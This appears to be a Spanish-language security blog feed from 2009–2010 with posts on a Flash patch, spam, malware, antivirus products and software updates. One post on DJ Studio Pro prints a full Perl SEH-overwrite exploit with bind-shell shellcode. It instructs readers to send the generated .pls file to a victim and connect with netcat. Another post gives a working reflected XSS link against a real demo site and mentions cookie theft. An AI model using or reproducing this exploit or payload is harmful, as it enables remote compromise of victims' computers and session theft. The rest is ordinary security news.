TodoTecnologia.net » Seguridad Informática

Actualizar Adobe Flash Player – Parche de Seguridad

TodoTecnologia — Tue, 15 Jun 2010 18:36:34 +0000

Hace poco salió una nueva actualización o parche de seguridad para Adobe Flash Player considerada como crítica, ya que se corrigen 32 fallas de seguridad consideradas de gran riesgo para los usuarios del software. Esta actualización surge como respuesta a un ataque sufrido hace algunos días y se recomienda a todas las personas actualizar inmediatamente el Flash Player para evitar posibles ataques y fallas en si del programa como bloqueos inesperados entre otros.

La actualización es necesaria para los usuarios con Adobe Flash Player versión 10.0.45.2 o inferiores. Si no sabes que versión tienes, puedes hacer la prueba para saber que versión de flash tienes. La actualización la puedes descargar desde la página oficial de Adobe.

Por último les recomiendo siempre estar al tanto de los parches y actualizaciones de todos los programas que tengamos instalados y sobre todo de estos en especial que son tan comerciales y pueden ser objetivos fijos de los atacantes maliciosos.

Tomado de http://www.rompecadenas.com.ar

También puede interesarte...

Como acceder remotamente a un PC con Dj Studio Pro – Vulnerabilidad

TodoTecnologia — Tue, 15 Jun 2010 04:29:36 +0000

Recientemente se descubrio una vulnerabilidad del tipo Buffer Overflow en el software DJ Studio Pro. Esta vulnerabilidad causa que al abrir un archivo este pueda ejecutar código arbitrario en una máquina.

La vulnerabilidad podría permitir, la inyección de algún Payload, por lo cual, un atacante podría inyectar en un archivo .pls el código de una consola remota, un VNC, o cualquier Payload que le permita tener acceso remoto con el solo hecho de intentar abrir un archivo .pls típico de DJ Studio. un ataque fallido termina en una denegación del Servicio.

La versión vulnerable es la DJ Studio Pro 5.1.6.5.2, aunque otras versiones pueden serlo también. se está a la espera de un parche que corrija el error.

El siguiente es un código perl que genera un archivo .pls con un código para crear una consola remota escuchando en el puerto 4444. el paso siguiente sería envíarselo a la victima esperar a que lo ejecute y usar netcat para conectarse.

#!/usr/bin/perl # DJ Studio Pro 5.1.6.5.2 SEH Overwrite Exploit # Written By Rehan Ahmed ( rehan@rewterz.com ) # Vulnerability Discovered By Prodigy # Software Link : http://www.e-soft.co.uk/ # Tested on : Windows XP SP2 En # OSVDB ID : 58159

my $file = “owned.pls”;
my $junk = “A” x 1308;
my $nextseh = “\xeb\x06\x90\x90″; #6 bytes short JMP
my $seh = “\x2d\xc6\x4f\x01″; # pop/pop/ret (nosafeseh)
my $nops = “\x90″ x 20;
my $nops2 = “\x90″ x 6500;

# Windows Bind Shell 4444 ( 345 Bytes )
my $shellcode =
“\xb8\x06\xa4\x4a\x21\x29\xc9\xb1\x50\xda\xc2\xd9\x74\x24\xf4″ .
“\x5a\x31\x42\x10\x83\xc2\x04\x03\x42\x0c\xe4\x51\xb6\x4b\x03″ .
“\xd4\xaf\x75\x2c\x18\xd0\xe6\x59\x8b\x0b\xc3\xd6\x11\x68\x80″ .
“\x94\x9c\xe8\x97\x8b\x14\x47\x80\xd8\x74\x78\xb1\x35\xc3\xf3″ .
“\x85\x42\xd5\xed\xd7\x94\x4f\x5d\x93\xd4\x04\x99\x5d\x1e\xe9″ .
“\xa4\x9f\x75\x06\x9d\x4b\xad\xcf\x97\x96\x26\x50\x7c\x58\xd3″ .
“\x09\xf7\x56\x68\x5d\x58\x7b\x6f\x8a\x64\xaf\xe4\xc5\x07\x8b” .
“\xe6\xb4\x14\xe2\xcd\x53\x10\x46\xc1\x10\x66\x45\xaa\x57\x7b” .
“\xf8\x27\xd7\x8b\x5c\x5f\x56\xc5\x6e\x73\x36\x25\xb8\xed\xe4″ .
“\xbf\x2d\xc2\x38\x28\xd9\x57\x0f\xf7\x71\x68\xbf\x6f\xb1\x7b” .
“\xbc\x4b\x15\x7c\xeb\xf3\x1c\x67\x72\x8d\xf2\x6f\x79\xd8\x66″ .
“\x6d\x82\x32\x1e\xa8\x75\x46\x72\x1d\x79\x7e\xde\xf2\xd6\x2c” .
“\xb2\xb7\x8b\x91\x67\xc8\xfc\x70\xe0\x27\xa1\x1a\xa3\xce\xb8″ .
“\x76\x2b\x74\x20\x09\x6b\x23\xaa\x3f\x19\xdb\x05\x95\x21\x0b” .
“\xcd\xb1\x73\x85\xe7\xed\x74\x0f\xa4\x44\x74\x7f\x23\x82\xc3″ .
“\xf9\xfd\x1b\x2b\xd3\xae\xf7\x87\x8e\xb1\x28\xb4\x58\xa9\xb0″ .
“\x7d\xe1\x62\xbc\x54\x44\x72\x92\x3f\x0c\xe8\x75\xa8\xb3\x9d” .
“\xf0\xcd\x59\x0e\x5a\x27\x51\x27\xbb\x5d\x2d\xb1\xa6\x93\x6d” .
“\x32\x8c\x2a\x2f\x98\x2f\x90\x83\x71\x42\x6f\xe3\xde\xf6\x3b” .
“\x7b\x53\xf7\x8f\x6d\x6c\x72\xb4\x6e\x44\x26\x63\xc2\x38\x88″ .
“\xda\x88\xbb\x7b\x8c\x19\xed\x84\xfe\xc9\xa0\xa2\xfa\xc7\xe8″ .
“\xab\xd3\xbd\xf1\xab\xeb\xbe\xde\xdf\x43\xbc\x5c\x1b\x0f\xc3″ .
“\xb5\xf6\x2f\xeb\x52\x07\x45\x0f\xfc\xb4\xa5\xd9\xfd\xeb\x50″;

open($FILE,”>$file”);
print $FILE $junk.$nextseh.$seh.$nops.$shellcode.$nops2;
close($FILE);

print “owned.pls File Successfully Created\n”;

Este es el código del Xploit. se puede modificar el payload, según como se desee.

Para quienes tienen este software se recomienda estar pendientes de actualizaciones.

disclaimer:
La información de este post debe ser usada únicamente de forma educativa, y no dañina. No nos hacemos responsables del mal uso de esta información. El objetivo de este post, y todos los de la sección de Exploits es que los lectores conozcan como trabajan las vulnerabilidades y tomen estrategias para defenderse.

También puede interesarte...

Vulnerabilidad Joomla XSS en el módulo 2 Way Video Chat

TodoTecnologia — Tue, 15 Jun 2010 03:52:57 +0000

Recientemente se descubrió esta vulnerabilidad en el complemento VideoWhisper 2 Way Video Chat, para el CMS Joomla. la vulnerabilidad consiste en un cross-site scripting (XSS) que permite la ejecución de código arbitrario en el navegador del usuario, causada por una mala validación de las entradas del usuario.

Un usuario malintencionado podría enviarle un link a su víctima y ejecutar algún código en su navegador que le permita robar cookies de autenticación, o cualquier otro código que desee.

Para explotar esta vulnerabilidad basta con crear un link como este http://www.example.com/index.php?r=[XSS]

Un ejemplo es este

XSS joomla

El enlace es el siguiente:

http://www.videowhisper.com/demos/2wayvideochat/index.php?r=%22%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20%20www.todotecnologia.net%3C/h1%3E%3Cmarquee%3E

Hasta ahora se está esperando un parche para solucionar esta vulnerabilidad. no se conoce alguna otra solución.

También puede interesarte...

La Muerte de Michael Jackson: Spam y Revolución de la Web

TodoTecnologia — Sat, 27 Jun 2009 14:57:49 +0000

La muerte del “Rey del pop” o el “Rey del Espectáculo”, como algunos de sus fans solían llamarlo, causó una verdadera revolución en Internet, empezando por la caida temporal de los servidores de Twitter, por la cantidad de mensajes que se mandaron al mismo tiempo informando la letal noticia, el día de su muerte, hasta facebook que también reportó problemas según varias fuentes. Pero la lamentable noticia para los seguidores de este gran artista es de las mejores para los spammers que llenan nuestros correos de basura, y por supuesto no podían dejar pasar este evento que conmovió al mundo entero para hacer de las suyas nuevamente. Según una empresa de seguridad llamada Sophos, al rededor de 8 horas después del lamentable suceso, millones de cuentas de correo fueron llenadas con el siguiente mensaje:

Lo que hace este mensaje, que por lo que pueden ver no tienen ningún vínculo ni enlance a otro sitio, es dar una información, pero solicitando responderlo para obtener una información más completa, pero que en realidad lo que hace es que al momento de las personas responderlo, dar la información de todas las cuentas activas para que los spammers luego de esto llenen estos correos con lo que ellos quieran. La empresa en su página oficial, les recomienda a todos los usuarios eliminar inmediatamente el mensaje apenas sea visto en nuestras bandejas de entrada.

Por lo que pude ver, en internet también andan circulando otro tipo de daños, como videos con la supuesta muerte del cantante, y enlaces maliciosos que únicamente tienen la finalidad de infectar de alguna forma nuestro ordenador. Les recomiendo que si quieren información sobre la noticia de la muerte de Michael Jackson lo hagan en páginas oficiales de noticias, páginas reconocidas mundialmente, pero que sobre todo actualicen sus antivirus, y mantengan su PC totalmente equipado para evitar esos molestos virus y demás males que infectan nuestro computador.

También puede interesarte...

Nine Ball, Nuevo Virus ataca más de 40000 sitios Web en Internet

TodoTecnologia — Mon, 22 Jun 2009 16:33:20 +0000

Un nuevo virus llamado “Nine-Ball” o bola nueve en nuestro idioma, descubierto por los expertos de la empresa websense, está haciendo de las suyas en la red. Hasta ahora, la cifra de sitios Web legítimos infectados supera los 40000, y según los expertos, es un virus de inyección masiva en el mundo, ya que se expande de una forma demasiado fácil, solo es que las personas visiten los sitios infectados, y el virus los redireccionará inmediatamente a sitios demasiado comprometedores, en los que la mayoría de los usuarios, por no saber mucho sobre la importancia de la seguridad en sus máquinas, irán poco a poco accediendo a estas webs, y sin darse cuenta, irán instalando en sus equipos troyanos, y capturadores de teclado, con lo que los creadores del virus tendrán el control de tu pc, y hasta de tus cuentas de correo y acceso a web’s.

Según los expertos de Websense, el virus lo que hace es entrar por medio de las vulnerabilidades de los servidores en las que se encuentran alojados los sitios a atacar, y también los huecos de seguridad en sus programaciones y en sus sistemas. Y aún mas grave, es que el virus podría llamarse un virus “Inteligente”, ya que mide, por medio de un algoritmo propio, si una persona ya ha visitado la web infectada con anterioridad, haciendo de esta manera que los usuarios nuevos, sean los que resultarán infectados y afectados por el ataque, y a los usuarios que ya hubiesen visitado el sitio, los redirige automáticamente al buscador Ask.com, tratando de despistar a los investigadores.

Una buena noticia, es que según los investigadores, los parches de seguridad de las partes del sistema que afecta el virus, ya existen, por lo que es de vital importancia que todas las personas se actualicen inmediatamente a las últimas versiones de sus antivirus.

Lo más recomendable en casos como estos, y mientras los expertos solucionan estos problemas, es que todos los usuarios se concienticen de lo importante que es tener seguridad en nuestro PC, consigan antivirus, documéntense en la web sobre como tener el PC totalmente protegido y sigan las recomendaciones que se les dan. No visiten sitios que les produzcan desconfianza, o sean totalmente desconocidos. El secreto está en protegerse y no confiar demasiado.

También puede interesarte...

Microsoft Security Essentials, Nuevo producto antivirus creado por Microsoft.

TodoTecnologia — Fri, 19 Jun 2009 18:21:14 +0000

Microsoft Security Essentials, Ese es el nombre del nuevo producto con el cual El gran monopolio de la Informática planea entrar al mercado de los Antivirus también conocido como Microsoft Morro(al parecer desecharon este nombre). Y es que no están contentos con monopolizar la ofimática y los Sistemas operativos, si no que ahora se quieren adentrar en el área de la seguridad.

Sin embargo vamos a analizar profundamente lo que nos podría ofrecer este Antivirus. Primero que todo este producto será gratuito y esta es una palabra que nos agrada al 100% de los consumidores de software. Ahora la otra ventaja que nos puede ofrecer, es que Microsoft debe conocer a la perfección el sistema operativo Windows, sobre el cual se están ejecutando el 99% de los virus informáticos, así que esto puede lograr que este nuevo antivirus sea muy bueno a la hora de prevenir una infección, pues Microsoft ya debe conocer todos los métodos y librerias usadas y atacadas. por ejemplo, muchos de los malware (dejemos de usar el término virus, ya que este no es el único tipo de software que combaten los antivirus) necesitan ejecutarse cada que se enciende el computador, y para esto windows ofrece varios métodos como crear claves en el registro de windows, crear un acceso directo en la carpeta inicio del menú inicio (suena reduntante pero no lo es), o crear reglas en archivos como system.ini, ahora si el Antivirus es capaz de monitorizar cuando un programa intenta ponerse en la lista de inicio, podrá analizar si el software es o no es confiable y según esto prevenir una posible infección. Esto es un ejemplo pero son muchos los procesos sospechosos que podrían ser detectados por este AV dado el conocimiento del sistema.

En conclusión, este Antivirus tiene la posibilidad de ofrecernos muchas ventajas heurísticas, Aunque hasta ahora no he sabido nada de la inclusión de este tipo de análisis.

Por ahora nos queda esperar dos cosas, una esperar hasta el próximo martes cuando será publicada una versión beta de este producto la cual estará en Inglés y disponible para los sistemas Windows XP, vista y Windows Seven. en cuanto salga la publicaremos también en esta web con su respectivo análisis, y la segunda, esperar que Microsoft no empiece a crear malware para popularizar su producto como lo hacen algunas empresas de antivirus.

por ahora es todo. los dejo con esta introducción y con la imagen del principio que es una captura filtrada de este nuevo software.

También puede interesarte...

Descargar/Actualizar a WordPress 2.8

TodoTecnologia — Fri, 12 Jun 2009 17:22:50 +0000

No hace mucho salió la nueva versión del wordpress, que se encuentra ya en la 2.8. En esta nueva versión se corrigen una gran cantidad de Bugs presentes en las versiones anteriores y se optimizan otras funciones más, como nuevas formas de diseño de Sidebars, la velocidad es mucho mayor y se mejoraron otras cosas más como el editor de código y los widgets. Para una guía completa de lo que ofrece el nuevo WordPress lo pueden leer en su Blog Oficial. Es muy recomendable que todos se actualizen a esta nueva versión, descargándolo o simplemente actualizándolo desde el menú administración.

Descargar WordPress 2.8

También puede interesarte...

Descargar Gratis ESET Nod32 Antivirus 4.0

TodoTecnologia — Fri, 03 Apr 2009 21:20:26 +0000

Ya está disponible la versión de prueba gratis de este estupendo antivirus, que es muy reconocido por todo los usuarios, y que además es eficiente contra todo tipo de virus, gusanos, troyanos y demás “enfermedades” en la red. Personalmente lo utilizo y lo recomiendo ya que teniéndolo bien configurado es una herramienta muy funcional para tener nuestro equipo protegido. Ahora se puede probar gratis durante un periodo de 30 días, la última versión del Nod32, que incluye entre sus características más importantes las siguientes:

Integración con ESET SysInspector en el producto

Tecnología de autodefensa (Self-Defence Technology)

Nuevo módulo ESET SysRescue

Modo de control y lectura de comunicaciones cifradas (protocolo SSL)

Análisis avanzado de archivos (Advanced Archive Scanning)

Nueva protección de documentos de ofimática

Protección de parámetros

Bloqueo de medios extraíbles como USBs

Nuevos módos de protección mediante el Firewall

Integración del módulo antispam con más clientes de correo

El porqué de este nuevo sistema de antivirus es en respuesta a los constantes ataques en la red, y las nuevas formas de virus que nacen cada día, y que afectan a miles o millones de usuarios diaramente en la red. Además trae una interfaz gráfica mas llamativa que la anterior

Puedes visitar y descargar el Nod32 4.0 desde la página de ESET Latinoamérica, y probar el antivirus durante este periodo de tiempo. Los sistemas operativos soportados son Windows 2000/XP/2003, Vista y windows 7 (Modo de compatibilidad), en sus versiones de 32 y 64 bits.

Descargar Nod32 Antivirus 4.0

También puede interesarte...

Proteger Tus Carpetas con Contraseña

TodoTecnologia — Tue, 10 Mar 2009 02:36:45 +0000

Muchos se han preguntado ¿Cómo puedo ponerle contraseñas a mis carpetas?, ¿Cómo puedo hacer mas segura mi información personal?, Pues para esto existe un excelente programa, con el cual se pueden hacer este tipo de cosas, y varias más.

Este programa llamado Folder Lock 6.0, es una eficiente herramienta, con la que pueden colocarle contraseña a un directorio completo, y proteger de una manera segura y eficaz, tus archivos personales, como fotos, videos, imágenes, documentos y demás.

Fuera de esto también permite proteger archivos almacenados en USB, CD’s, y Discos Duros externos.

Les recomiendo este programa ya que es fácil de usar, muy práctico y con mucha funcionalidad, además que nos ofrece una excelente alternativa para hacer de nuestros archivos, algo seguro y que solo pueda verse por su autor.

Compatible con windows Xp, Windows Vista, Windows 7

TodoTecnologia.net » Seguridad Informática

Actualizar Adobe Flash Player – Parche de Seguridad

También puede interesarte...

Como acceder remotamente a un PC con Dj Studio Pro – Vulnerabilidad

También puede interesarte...

Vulnerabilidad Joomla XSS en el módulo 2 Way Video Chat

También puede interesarte...

La Muerte de Michael Jackson: Spam y Revolución de la Web

También puede interesarte...

Nine Ball, Nuevo Virus ataca más de 40000 sitios Web en Internet

También puede interesarte...

Microsoft Security Essentials, Nuevo producto antivirus creado por Microsoft.

También puede interesarte...

Descargar/Actualizar a WordPress 2.8

Descargar WordPress 2.8

También puede interesarte...

Descargar Gratis ESET Nod32 Antivirus 4.0

Descargar Nod32 Antivirus 4.0

También puede interesarte...

Proteger Tus Carpetas con Contraseña

Descargar Folder Lock 6.0

También puede interesarte...